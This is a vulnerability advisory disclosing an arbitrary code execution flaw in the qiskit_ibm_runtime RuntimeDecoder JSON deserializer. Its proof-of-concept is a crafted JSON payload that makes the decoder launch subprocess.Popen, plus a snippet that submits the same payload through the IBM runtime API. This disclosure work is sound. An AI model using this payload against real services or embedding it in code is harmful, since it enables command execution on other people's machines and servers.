PYSEC-2026-1858

### Summary

deserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string

### Details

`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

### PoC

```python malicious_data = { "__type__": "settings", "__module__": "subprocess", "__class__": "Popen", "__value__": { "args": ["echo", "hi"] }, } json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder) # prints "hi" to the terminal ``` (where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?) ```python service = qiskit_ibm_runtime(<ibm_cloud_credentials>) job = service.run("qasm3-runner", malicious_data) print(job.status()) # prints "JobStatus.QUEUED" ```

### Impact

i don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)